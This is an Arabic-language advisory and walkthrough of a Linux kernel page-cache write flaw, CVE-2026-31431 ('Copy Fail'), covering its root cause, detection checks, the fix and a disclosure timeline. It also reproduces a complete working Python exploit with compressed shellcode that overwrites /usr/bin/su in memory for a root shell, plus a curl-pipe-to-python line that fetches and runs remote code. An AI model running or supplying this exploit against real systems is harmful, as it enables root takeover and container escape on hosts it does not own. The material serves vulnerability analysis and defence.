
شرح منظم لـ CVE-2026-31431 (Copy Fail)، يربط بين التغييرات الثلاثة في النواة التي أدخلت الثغرة الأمنية ومكّنت من استغلالها.
خلل منطقي في authencesn يُمرَّر عبر AF_ALG وsplice() ليصل إلى كتابة محكومة من 4 بايتات في page cache لأي ملف قابل للقراءة على النظام. لا سباق في التوقيت، ولا إزاحات، ولا حمولة مُترجَمة. السكربت نفسه بحجم 732 بايت يمنح صلاحيات الجذر على كل توزيعات لينكس منذ 2017.
CVE-2026-31431 - Copy Fail هو خلل منطقي في قالب التشفير authencesn في نواة لينكس. يسمح لمستخدم محلي غير مميز بإجراء كتابة محكومة من 4 بايتات في page cache لأي ملف قابل للقراءة على النظام، دون تعديل الملف على القرص.
الخلل غير موجود في أي من المكونات الثلاثة على حدة. بل ينشأ من تفاعلها:``` 2011 ────────────────────────────────────────────────────────────────────── - authencesn added to the kernel (a5079d084f8b). - Uses the caller's destination scatterlist as scratch space. - Reorder ESN bytes before HMAC computation. - Only caller: internal xfrm layer. Harmless.
2015 ────────────────────────────────────────────────────────────────────── - algif_aead.c gains AEAD support with splice() path (104880a6b470). - splice() can deliver page cache pages to the TX scatterlist. - AF_ALG uses out-of-place operation: req->src != req->dst. - Page cache pages remain read-only. Not exploitable.
2017 ────────────────────────────────────────────────────────────────────── - In-place optimization in algif_aead.c (72548b093ee3). - Copies AAD+CT to RX buffer but chains authentication tag pages via sg_chain(). - Sets req->src = req->dst. - Page cache pages now reside in WRITABLE dst. - authencesn writes past boundary → page cache corruption.
2026 ────────────────────────────────────────────────────────────────────── - Copy Fail - CVE-2026-31431. Discovered by Theori / Xint Code. - Exploitable across all distros since 2017.
---
---
---
<div id='root-cause'/>
## ***🧬 تحليل السبب الجذري***
<div id='primitive'/>
### ***أولية AF_ALG + splice()***
AF_ALG (*[AF_ALG = 38](https://docs.kernel.org/crypto/userspace-if.html#user-space-api-general-remarks)*) هو نوع مقبس (socket) يكشف واجهة برمجة تطبيقات التشفير للنواة إلى مساحة المستخدم غير المميزة. يمكن لعملية غير مميزة أن:
1. افتح مقبس AF_ALG / SOCK_SEQPACKET.
2. استدعِ bind() على أي قالب AEAD متاح توفره واجهة برمجة تطبيقات التشفير للنواة.
3. عيّن مفتاح تشفير عبر setsockopt(SOL_ALG, ALG_SET_KEY, ...) على الخوارزمية المهيأة.
4. استدعِ accept() للحصول على مقبس عمليات مخصص سيتعامل مع طلبات التشفير وفك التشفير
5. أرسل بيانات مصممة باستخدام sendmsg() واستلم النتيجة المعالجة عبر recvmsg()، متفاعلاً بالكامل مع نظام التشفير الفرعي للنواة.
إنه مفعّل افتراضيًا في إعدادات النواة لجميع التوزيعات الرئيسية (CONFIG_CRYPTO_USER_API_AEAD=y).
**[splice(2)](https://man7.org/linux/man-pages/man2/splice.2.html)** ينقل البيانات بين واصفات الملفات دون نسخ - يمرر مراجع إلى الصفحات وليس نسخًا. التدفق ذو الصلة:```
open("/usr/bin/su") -> fd_file
pipe() -> pipe_rd, pipe_wr
# moves N bytes from the file into the pipe
# the pipe buffer now contains a reference to the same physical page in the page cache
splice(fd_file, pipe_wr, N)
# delivers that reference to the AF_ALG socket
# the TX scatterlist of algif_aead now points to the page cache page of /usr/bin/su
splice(pipe_rd, alg_fd, N)
تحتوي قائمة التشتت الخاصة بمقبس AF_ALG على مراجع مباشرة لنفس الصفحات المادية التي تستخدمها النواة لكل read() وmmap() وexecve() على الملف. لا يتم إجراء أي نسخ.
الالتزام 72548b093ee3، algif_aead.c. بالنسبة لفك التشفير، يقوم التنفيذ بما يلي:
In-place operation: RX SGL (req->dst): [ user buffer: AAD (copy) || CT (copy) ] --sg_chain--> [ Tag (page cache pages) ] req->src = req->dst = RX SGL
Result: page cache pages from /usr/bin/su are now part of the WRITABLE scatterlist passed to the crypto algorithm.
<div id='authencesn'/>
### ***الكتابة خارج الحدود في authencesn***
authencesn هو غلاف AEAD في النواة يُستخدم بواسطة IPsec مع أرقام التسلسل الموسعة (RFC 4303). يستخدم IPsec أرقام تسلسل 64-بت:
- seqno_hi - البتات الـ 32 العلوية (البايتات 0-3 من AAD)
- seqno_lo - البتات الـ 32 السفلية (البايتات 4-7 من AAD)
يتم إرسال seqno_lo فقط عبر الشبكة؛ أما seqno_hi فهو سياق ضمني. لحساب HMAC، يحتاج authencesn إلى إعادة ترتيب هذه البايتات: seqno_hi في البداية وseqno_lo في نهاية مدخلات التجزئة.
يقوم بهذه إعادة الترتيب باستخدام scatterlist الوجهة الخاصة بالمستدعي كمساحة عمل مؤقتة:```c
/* crypto/authencesn.c - crypto_authenc_esn_decrypt() */
// [1] Read bytes 0-7 of the AAD from dst
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);
// [2] Overwrite dst[4..7] with seqno_hi (temporary modification for HMAC)
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
// [3] *** THE BUG ***
// Writes seqno_lo at dst[assoclen + cryptlen]
// This offset is AFTER the authentication tag - outside the legitimate AEAD output region.
// authencesn uses this position as scratch space and NEVER restores the original bytes.
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
Call [3] writes 4 bytes at dst[assoclen + cryptlen]. The AEAD API output contract for decryption is AAD || plaintext - exactly assoclen + (cryptlen - authsize) bytes. assoclen + cryptlen lies beyond the authentication tag. authencesn writes into memory it does not own.
crypto_authenc_esn_decrypt_tail() reads seqno_lo back to reconstruct the correct AAD, but never restores the original bytes at dst[assoclen + cryptlen]. The overwrite is permanent, regardless of whether the HMAC check succeeds or fails.
No other standard AEAD algorithm in the kernel behaves this way. GCM, CCM, and standard authenc strictly confine their writes to the legitimate output region.
In the post-2017 in-place path of algif_aead, the scatterlist passed as req->dst to authencesn has the following structure:``` req->dst: [ RX buffer (user memory) ] [ Tag region (page cache pages) ] [ AAD (copy) || CT (copy) ] [ from /usr/bin/su ] [<---- assoclen + cryptlen bytes --->] [<--- sg_chain from TX SGL ---->] ^ authencesn writes here: dst[assoclen + cryptlen] = seqno_lo (4 bytes controlled by the attacker)
لا يملك scatterwalk_map_and_copy أي مفهوم لملكية الصفحة، فهو ببساطة يخطّط أي صفحة يشير إليها scatterlist عبر kmap_local_page ويكتب فيها. ومع وجود صفحات page cache في req->dst، ينتهي به الأمر إلى تخطيط الصفحة المخزنة مؤقتًا للملف "/usr/bin/su" وكتابة seqno_lo مباشرةً في النسخة الموجودة في ذاكرة النواة من الملف.
يُحسب HMAC على البايتات المعاد ترتيبها ويفشل (النص المشفَّر تحت سيطرة المهاجم). تُرجع recvmsg() خطأً. تظل الكتابة ذات الأربعة بايتات في page cache باقية.
---
<div id='scatterlist'/>
### ***اجتياز scatterlist إلى صفحات page cache***```c
struct scatterlist {
unsigned long page_link; // physical page + flags (SG_END, SG_CHAIN)
unsigned int offset; // offset within the page
unsigned int length; // bytes in this entry
};
// sg_chain(sgl_a, nents_a, sgl_b):
// sgl_a[nents_a-1].page_link |= SG_CHAIN;
// sgl_a[nents_a-1].page_link = (unsigned long)sgl_b;
// the last entry of sgl_a now points to the beginning of sgl_b
RX SGL (req->dst) after in-place construction:
entry[0]: page=user_buf_page, offset=0, length=assoclen (AAD copied)
entry[1]: page=user_buf_page, offset=assoclen, length=cryptlen-4 (CT copied)
entry[2]: SG_CHAIN -> TX SGL entry[2]
|
v
page = page_cache_page_of_/usr/bin/su
offset = <tag offset within the file>
length = authsize (= 4)
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1):
offset_within_sgl = assoclen + cryptlen
-> walks past entry[0] (assoclen bytes)
-> walks past entry[1] (cryptlen-authsize bytes)
-> reaches entry[2]: offset_within_entry = 0
-> kmap_local_page(page_cache_page_of_su)
-> memcpy(mapped_page + page_offset, tmp+1, 4) <- WRITE INTO PAGE CACHE
-> kunmap_local(mapped_page)
The page is never marked dirty (SetPageDirty / mark_page_accessed are not invoked in this path). The kernel writeback mechanism does not flush it to disk. The file on disk remains unchanged.
تُحوَّل بدائية الكتابة المُتحكَّم بها (4 بايت) داخل page cache إلى تصعيد صلاحيات محلي كامل (LPE):
من خلال تكرار الكتابة 4 بايت في كل مرة، يمكن للمهاجم حقن شيلكود في قسم .text لثنائي setuid داخل page cache. يقوم execve() بالتحميل من page cache، لذا يتم تنفيذ الثنائي الم corrupted بصلاحيات UID 0.
إن page cache مشترك عبر المضيف بالكامل، بما في ذلك جميع الحاويات. Copy Fail ليس مجرد LPE محلي، بل هو بدائية للهروب من الحاويات وناقل لاختراق عقد Kubernetes.
| البيئة | الخطر | النتيجة |
|---|---|---|
| مضيفات Linux متعددة المستأجرين | حرج | أي مستخدم → root |
| Kubernetes / الحاويات | حرج | Pod → المضيف، عبر المستأجرين |
| مشغّلات CI (طلبات سحب غير موثوقة) | حرج | PR → صلاحية root على المشغّل |
| SaaS سحابي ينفّذ كود المستخدم | حرج | مستأجر → صلاحية root على المضيف |
| خوادم أحادية المستأجر | مرتفع | LPE داخلي؛ يُدمج مع RCE عبر الويب |
| محطات عمل لمستخدم واحد | متوسط | تصعيد صلاحيات بعد الاستغلال |
أي نظام Linux يعمل بنواة مُبنية بين 2017 ووقت التصحيح، مع تفعيل AF_ALG في الإعداد الافتراضي، وهو ما يشمل فعليًا جميع التوزيعات الرئيسية.
تم التحقق منه مباشرة بواسطة Theori / Xint:
| التوزيعة | النواة |
|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
التوزيعات الأخرى التي تعمل بنواة متأثرة (Debian، وArch، وFedora، وRocky، وAlma، وOracle، والأجهزة المدمجة) تتصرف بنفس الطريقة؛ فالخلل يكمن في النظام الفرعي المشترك للتشفير، وليس في أي تصحيح خاص بتوزيعة معينة.
متطلبات الاستغلال:
uname -r
إذا تم بناء النواة بين عام 2017 والتصحيح (commit a664bf3d603d)، فقد يكون النظام متأثرًا. تحقق من وجود التصحيح:```bash
# Ubuntu / Debian
dpkg -l | grep linux-image
# RHEL / Fedora / Amazon Linux
rpm -q kernel
# SUSE
zypper se -s kernel-default
python3 -c " import socket try: s = socket.socket(38, 5, 0) s.close() print('[+] AF_ALG available - system potentially affected') except Exception as e: print(f'[-] AF_ALG not available: {e}') "
### ***3. تحقق مما إذا كان algif_aead محملاً***```bash
sudo modinfo algif_aead 2>/dev/null && echo "[+] algif_aead available" || echo "[-] algif_aead not found"
يتحقق السكربت التالي من إمكانية الوصول إلى المسار القابل للاستغلال. وهو لا ينفّذ أي عمليات كتابة، بل يتحقق فقط من توفر سطح الهجوم:```python #!/usr/bin/env python3 """ Copy Fail (CVE-2026-31431) - Attack surface verification. Does not perform any writes. Only checks whether the vulnerable path is available. """ import socket import sys
def check_surface(): results = {}
# 1. Check if AF_ALG socket is available
try:
# AF_ALG, SOCK_SEQPACKET
s = socket.socket(38, 5, 0)
results['af_alg_socket'] = True
# 2. Try binding to authencesn (the vulnerable algorithm)
try:
s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
results['authencesn_available'] = True
except OSError as e:
results['authencesn_available'] = False
results['authencesn_error'] = str(e)
s.close()
except OSError as e:
results['af_alg_socket'] = False
results['af_alg_error'] = str(e)
# 3. Check if splice() is available
import os
results['splice_available'] = hasattr(os, 'splice')
print("\n=== Copy Fail CVE-2026-31431 - Surface Check ===\n")
for k, v in results.items():
marker = '[+]' if v is True else '[-]' if v is False else '[i]'
print(f" {marker} {k}: {v}")
if results.get('af_alg_socket') and results.get('authencesn_available') and results.get('splice_available'):
print("\n [!] SURFACE AVAILABLE - system exposes the full attack surface.")
print(" Verify whether the kernel includes patch a664bf3d603d.")
else:
print("\n [OK] Surface mitigated or not available.")
if name == "main": check_surface()
---
<div id='exploit'/>
## ***💣 استغلال***
تم إصدار هذا الاستغلال في الأصل بواسطة Theori / Xint Code بالتزامن مع الإفصاح العلني في 29 أبريل 2026.
- **SHA256:** a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9`
- **المستودع الرسمي:** [github.com/theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)
- **المتطلبات:** Python 3.10+، نواة متأثرة، AF_ALG مفعّلة.
---```python
#!/usr/bin/env python3
# Copy Fail - CVE-2026-31431
# Original: Theori / Xint Code - https://copy.fail/
# sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
# Requirements: Python 3.10+ (os.splice), affected kernel (2017-2026), AF_ALG enabled.
# Default target: /usr/bin/su (any readable setuid binary works).
# The page cache write is NOT persistent - it is reverted on the next reboot.
import os as g, zlib, socket as s
def d(x):
return bytes.fromhex(x)
def c(f, t, c):
# Open AF_ALG socket and bind to authencesn(hmac(sha256),cbc(aes))
a = s.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279 # SOL_ALG
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64)) # ALG_SET_KEY
v(h, 5, None, 4) # ALG_SET_AUTHSIZE = 4
u, _ = a.accept()
o = t + 4
i = d('00')
# sendmsg: AAD = seqno_hi (4 bytes) || seqno_lo (4 bytes = payload to write)
# authencesn writes seqno_lo into dst[assoclen+cryptlen] -> page cache
u.sendmsg(
[b"A" * 4 + c], # AAD: seqno_hi=0x41414141, seqno_lo=payload
[
(h, 3, i * 4), # ALG_SET_IV
(h, 2, b'\x10' + i * 19), # ALG_SET_OP=DECRYPT + params
(h, 4, b'\x08' + i * 3), # ALG_SET_AEAD_AUTHSIZE
],
32768 # MSG_SENDPAGE_NOTLAST
)
# splice: delivers page cache pages from the target file into the AF_ALG socket
# The TX SGL of the socket will point directly to page cache pages
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0) # file -> pipe (reference to page cache page)
n(r, u.fileno(), o) # pipe -> AF_ALG socket (TX SGL points to page cache)
# recv: triggers decrypt in the kernel
# authencesn performs the scratch write -> 4 bytes written into the page cache
# recvmsg() returns error (HMAC fails - attacker-controlled ciphertext), write persists
try:
u.recv(8 + t)
except:
0
# Open target binary (readable by any user)
f = g.open("/usr/bin/su", 0)
# zlib-compressed shellcode - patches /usr/bin/su in the page cache
i = 0
e = zlib.decompress(d(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
"209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
"c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))
# Iterate in 4-byte chunks: each iteration performs a controlled write into the page cache
while i < len(e):
c(f, i, e[i:i+4])
i += 4
# Execute the patched binary in memory - runs as UID 0
g.system("su")
curl https://copy.fail/exp | python3
python3 copy_fail_exp.py
python3 copy_fail_exp.py /usr/bin/passwd
id
---
---
---
<div id='walkthrough'/>
## ***🔬 شرح استغلال الثغرة***
<div id='step1'/>
### ***الخطوة 1 - إعداد Socket***```python
# AF_ALG=38, SOCK_SEQPACKET=5
a = socket.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
قالب authencesn هو المُختار - خوارزمية AEAD الوحيدة في kernel التي تكتب خارج منطقة الإخراج الشرعية الخاصة بها. هذا الاختيار مقصود: GCM وCCM وauthenc القياسي لا تُطلق الخلل.```python a.setsockopt(SOL_ALG, ALG_SET_KEY, key) # arbitrary 32-byte key a.setsockopt(SOL_ALG, ALG_SET_AUTHSIZE, 4) # authsize = 4 bytes u, _ = a.accept() # operation socket
ALG_SET_AUTHSIZE = 4 يضبط حجم وسم المصادقة. تتحكم هذه القيمة مباشرةً في المكان الذي يصل إليه `dst[assoclen + cryptlen]` بالنسبة إلى منطقة الوسم في scatterlist، وبالتالي في أي إزاحة داخل صفحة page cache يتم استبدالها.
<div id='step2'/>
### ***الخطوة 2 - إنشاء عملية الكتابة***
لكل جزء من الحمولة بحجم 4 بايتات:```python
# AAD = 8 bytes: seqno_hi (bytes 0-3) || seqno_lo (bytes 4-7)
# seqno_lo = the 4 bytes we want to write into the page cache
aad = b"\x41\x41\x41\x41" + payload_chunk_4bytes
u.sendmsg([aad], [cmsg_headers], MSG_SENDPAGE_NOTLAST)
البايتات 4-7 من AAD (seqno_lo) هي بالضبط البايتات الأربعة التي يكتبها authencesn في dst[assoclen + cryptlen]. يقوم المهاجم بتشكيلها بقيمة الحمولة المطلوبة.
يتم التحكم في إزاحة الملف عبر معاملات splice:```python
o = t + 4 r, w = os.pipe() os.splice(target_fd, pipe_wr, o, offset_src=0) # offset_src=0, length=o os.splice(pipe_rd, alg_fd, o)
<div id='step3'/>
### ***الخطوة 3 - تشغيل كتابة ذاكرة التخزين المؤقت للصفحات***```python
try:
u.recv(8 + t)
except:
pass # recvmsg() returns EBADMSG/EINVAL - HMAC fails. Expected.
استدعاء recv() يطلق عملية فك التشفير داخل النواة. خطأ recvmsg() متوقع وغير ذي صلة. لقد تمت كتابة ذاكرة التخزين المؤقت للصفحات بالفعل.
بعد التكرار على جميع أجزاء الحمولة:``` os.system("su")
execve("/usr/bin/su"):
1. يقوم النواة بتحميل الثنائي من ذاكرة التخزين المؤقت للصفحات.
2. تحتوي الصفحة المخزنة مؤقتًا على الـ shellcode المحقون (الملف على القرص لم يتغير).
3. /usr/bin/su هو setuid-root: تبدأ العملية بمعرف مستخدم فعّال (UID) يساوي 0.
4. يقوم الـ shellcode بتشغيل شل بصلاحيات الجذر (root).```
$ python3 copy_fail_exp.py
# id
uid=0(root) gid=1002(xint) groups=1002(xint)
تنتمي الثلاثة جميعًا إلى نفس فئة الهجوم: الكتابة في ذاكرة التخزين المؤقت للصفحات من فضاء المستخدم غير المميز، دون تعديل الملف على القرص، للحصول على امتيازات عبر ثنائي setuid. تختلف آلياتها وقيودها اختلافًا كبيرًا.
حالة سباق في مسار النسخ عند الكتابة (COW) في النظام الفرعي للذاكرة الافتراضية (VM). تطلّب الفوز بنافذة TOCTOU، ومحاولات متعددة، وموثوقية متغيرة، وانهيارات عرضية. النوى من 2.6.22 إلى 4.8.3.
استغلال علم PIPE_BUF_FLAG_CAN_MERGE في مخازن الأنابيب لدمج بيانات يتحكم فيها المهاجم في ذاكرة التخزين المؤقت للصفحات. حتمي، لكنه خاص بإصدارات محددة (نواة ≥ 5.8 مع تصحيحات معيّنة).
ثغرة منطقية خطية بلا تفرعات. لا حالة سباق، ولا إزاحات خاصة بالتوزيعات، ولا حمولة مُجمّعة. سكربت Python بحجم 732 بايت يستخدم المكتبة القياسية فقط يحصل على صلاحيات الجذر عبر جميع التوزيعات الرئيسية من 2017 إلى 2026.
| Dirty Cow | Dirty Pipe | Copy Fail | |
|---|---|---|---|
| الآلية | حالة سباق (COW) | استغلال علم الأنابيب | منطق AEAD + scatterlist |
| يتطلب حالة سباق | نعم | لا | لا |
| الموثوقية | 30-80% | عالية | 100%، من محاولة واحدة |
| نطاق النواة | 2.6.22-4.8.3 | ≥5.8 (محددة) | 2017-2026 (~9 سنوات) |
| إزاحات خاصة بالتوزيعات | نعم | بعض | لا |
| حمولة مُجمّعة | نعم | لا | لا |
| الهروب من الحاوية | لا | لا | نعم |
يُصلح الالتزام الرئيسي a664bf3d603d الالتزامَ 72548b093ee3 (تحسين عام 2017 الموضعي)
يُعيد التصحيح ملف algif_aead.c إلى العمل خارج المكان (out-of-place). يصبح req->src و req->dst قائمتي scatterlist منفصلتين مرة أخرى. تبقى صفحات ذاكرة التخزين المؤقت للصفحات التي تم تسليمها عبر splice() في قائمة SGL الخاصة بالإرسال TX للقراءة فقط (req->src). أما مخزن RX - الذاكرة الوحيدة التي يُسمح لخوارزمية التشفير بالكتابة فيها - فهو مخزن recvmsg الخاص بالمستخدم (req->dst). تتم إزالة آلية sg_chain() التي كانت تربط في السابق صفحات العلامة (ذاكرة التخزين المؤقت للصفحات) بالوجهة القابلة للكتابة.```c /* BEFORE (vulnerable) - req->src = req->dst, page cache pages in dst / aead_request_set_crypt(&areq->cra_u.aead_req, areq->first_rsgl.sgl.sgt.sgl, / RX SGL as src / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (same!) */ used, ctx->iv);
/* AFTER (fix) - separate scatterlists / aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src, / TX SGL as src (may contain page cache pages) / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (user buffer only) */ used, ctx->iv);
تذكر رسالة الالتزام: «لا فائدة من العمل في الموقع نفسه (in-place) في algif_aead نظرًا لأن المصدر والوجهة يأتيان من تعيينات مختلفة.»
---
---
---
<div id='timeline'/>
## ***📅 الجدول الزمني للإفصاح***
| Date | Event |
|------------|----------------------------------------------------------|
| 2026-03-23 | تم الإبلاغ عن الثغرة إلى فريق أمان نواة لينكس |
| 2026-03-24 | تم استلام الإقرار الأولي |
| 2026-03-25 | تم اقتراح التصحيحات ومراجعتها |
| 2026-04-01 | تم دمج التصحيح في الخط الرئيسي (mainline) (a664bf3d603d) |
| 2026-04-22 | تم تعيين CVE-2026-31431 |
| 2026-04-29 | الإفصاح العام، [copy.fail](https://copy.fail/) |
**اكتشفها:** Taeyang Lee في [Theori](https://theori.io/) / [Xint Code](https://xint.io/)
---
---
---
<div id='references'/>
## ***📚 المراجع***
- **[NVD - CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)**
> إدخال في قاعدة بيانات الثغرات الوطنية.
- **[Copy Fail - الإفصاح الرسمي](https://copy.fail/)**
> صفحة هبوط تتضمن الأسئلة الشائعة (FAQ)، والتوزيعات المتأثرة، والتخفيف، وإثبات المفهوم (PoC).
- **[Theori / Xint Blog - الشرح الكامل](https://xint.io/blog/copy-fail-linux-distributions)**
> السبب الجذري، ومخططات scatterlist، والسلسلة التاريخية (2011→2015→2017)، وشرح مفصّل للاستغلال.
- **[Theori GitHub - copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)**
> المستودع الرسمي الذي يحتوي على إثبات المفهوم (PoC).
- **[Commit a664bf3d603d - الإصلاح](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d)**
> يتراجع عن تحسين العمل في الموقع نفسه (in-place) في algif_aead.
- **[Commit 72548b093ee3 - السبب الجذري (2017)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=72548b093ee3)**
> يقدّم تحسين العمل في الموقع نفسه الذي وضع صفحات ذاكرة التخزين المؤقت للصفحات (page cache) في الوجهة القابلة للكتابة.
- **[Commit a5079d084f8b - تقديم authencesn (2011)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a5079d084f8b)**
> الالتزام الأصلي الذي أضاف authencesn، وأسّس نمط الكتابة المؤقتة (scratch write).
- **[Commit 104880a6b470 - ترحيل authencesn إلى AEAD API (2015)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=104880a6b470)**
> يقدّم إزاحة assoclen + cryptlen التي تكتب خارج المنطقة المشروعة.
- **[CVE-2016-5195 - Dirty Cow](https://dirtycow.ninja/)** · **[CVE-2022-0847 - Dirty Pipe](https://dirtypipe.cm4all.com/)**
> أعمال سابقة في فئة إفساد ذاكرة التخزين المؤقت للصفحات / تصعيد الامتيازات المحلي (LPE).